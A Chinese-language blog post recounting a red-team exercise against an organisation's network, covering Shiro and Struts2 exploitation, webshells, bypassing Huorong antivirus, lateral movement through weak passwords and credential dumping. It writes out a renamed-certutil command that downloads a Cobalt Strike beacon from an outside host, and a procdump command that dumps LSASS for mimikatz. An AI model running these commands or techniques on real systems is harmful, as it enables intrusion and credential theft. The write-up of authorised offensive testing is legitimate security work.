记某次攻防演习和蓝队的博弈


外网打点

访问目标网站发现是统一登录认证,子域名枚举发现存在oa、erp、mail等。其中一个存在Shiro反序列化漏洞,直接上工具:

检测发现存在Shiro反序列化漏洞key,但是未找到利用链。奇怪,换个工具再试,成功Getshell,如图:

root到手了,还得是飞鸿啊,吃个肉夹馍压压惊。你以为这就结束了?其实这才是刚刚开始,由于该服务器不出网,无法反弹shell,为了方便管理还是使用Webshell吧。使用curl上传哥斯拉、冰蝎3和蚁剑都连接失败,查看内容发现存在防火墙,好像是火绒,如图:

使用工具自带webshell上传功能上传成功,然后使用tools专版冰蝎2配置User-Agent连接成功,就很神奇,如图:

内网遨游

开始之前先进行下简单的信息收集,查看网卡,发现只有一张本地网卡,查看arp缓存表,发现同网段内网其他主机IP,好像还要一个域控,如图:

在网站目录下发现CVE-2021-4034检测脚本,如图:

难道是运维自查的?继续浏览网站目录发现:WEB-INF/jsp/authorization.jsp,然而没有有用信息,如图:

在WEB-INF/classes/properties/目录发现数据库配置文件,如图:

Get 数据库

在这些文件中成功获取MySQL和MSSQL数据库连接用户密码,通过代理成功连接数据库,在MYSQL中获取到网站用户名和密码Hash,如图:

差不多了,查看MSSQL发现当前用户为network service,如图:

测试发现出网,Nice:

查看域内计算机,发现并不多,如图:

查看进程列表,发现存在火绒,如图:

直接使用CS+Go_Bypass开始免杀上线,fscan一梭子。直接使用certutil命令肯定会被火绒拦截,将certutil复制并重命名:

然后即可绕过火绒,正常上传文件开始搞:

c:\users\public\cc.exe -urlcache -split -f https://x.x.x.x/beacon.exe c:\windows\temp\update.exe

fscan发现内网大量ftp、MySQL、SSH、SQLServer弱口令和Redis未授权,以及一个RDP弱口令,一些内网网站指纹,存在防火墙,但未发现防火墙弱口令和漏洞,确认192.168.x.1为域控,居然没有MS17-010。
我不信,继续扩大扫描范围,同时更换字典进行弱口令测试,然而撸的太狠图还没来得及截呢就被发现了,更换IP还是访问不了马,应该被查杀了,Shiro也被修复了。

二进内网

S2-046 Getshell

继续查看其他子域名,直接访问某域名会跳转到统一登录认证,但是该域名使用Struts2框架,并且存在Struts2 S2-045和S2-046。那还等什么,继续上工具,如图:

这也太。。。这么多webshell和代理,不用自己上传了,查看内容发现冰蝎马和大马,使用冰蝎无法连接,访问大马发现跳转到统一认证界面。回到刚才通过数据库获取的网站用户名和密码Hash,通过解密数据库中密码Hash获得登录口令。继续访问大马发现可以成功,如图:

然后读取文件获得密码:ximcx.cn,如图:

使用密码登录之后如图:

大马无法上传fscan等文件,使用冰蝎无法连接webshell,可能是因为中间件为tomcat5的原因吧,大马也无法连接数据库,且服务器不出网,怪不得服务器存在代理jsp文件,查看代理文件发现是reGeorg,尝试正向代理失败。

再次查看其他子域名发现另一个Shiro反序列化,但是之前存在Shiro的站在一个css文件存在Shiro,奇怪的很,他是怎么修的漏洞。

鉴于之前上线CS被发现,这次使用免杀木马后,直接使用之前扫到的ssh弱口令横向到其中一台服务器,把该机器作为跳板机继续渗透(也可以在内网ping子域名定位内网服务器,然后进一步渗透获取多个入口,避免漏洞再次被修复而失去控制权,这里就不写了),如图:

之前发现的RDP弱口令也登不上了,部分SSH弱口令也修改了,然后使用scp上传内网扫描工具,如图:

然后探测内网存活主机段,如图:

kscan扫描发现部分服务器和网络设备弱口令,如图:

登录其中一台交换机,如图:

使用ssh登录另一台发现是Windows,且在域环境中,如图:

然而刚执行完命令就断开连接了,再次连接就无法连接了,也ping不通了,看来蓝队还没睡啊。本想利用SQLServer数据库dumpHash看能不能获取域控或其他域用户密码的,然而之前的SQLServer密码已修改,无法连接,然后再次使用扫描也没发现SQLServer的弱口令主机。

但我们还有办法。全盘搜索数据库连接配置,我就不信没有使用SQLServer的,如图:

还是比较幸运的,找到了一台,通过代理连接数据库,查看进程列表发现存在火绒,继续执行命令发现在域环境中,非常不错,继续执行命令将certutil复制并重命名,然后就可以上传procdump了,为了更隐蔽,我们直接使用内网跳板机做http服务,如图:

Dump Hash

然后使用下列命令dump lsass进程:

c:\users\public\pd.exe -accepteula -ma lsass.exe lsass.dmp

本想使用scp将文件copy到跳板机回传本地,但是windows版本比较低没有该工具,使用ftp也比较麻烦,查看发现该主机存在http服务,然后将lsass.dmp移动到c:\inetpub\wwwroot文件夹下通过代理访问http服务即可下载该文件,然而访问的时候却是这样:

就很离谱,后来想到可能是文件后缀的问题,然后重命名文件为lsass.exe,如图:

成功得到dump文件,如图:

然后重命名为dmp文件,使用mimikatz读取密码,如图:

然而并不能登录目标主机,看来密码被修改了,没一会儿数据库也连接不上了,先喝会乌龙茶冷静冷静。。。还是得用工具呀,总不能全手工吧,调低线程再次使用获取到密码扫描弱口令,然而没一会发现所有webshell都没了。。。就这样被迫结束了。

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 记某次攻防演习和蓝队的博弈


Hacker perspective for security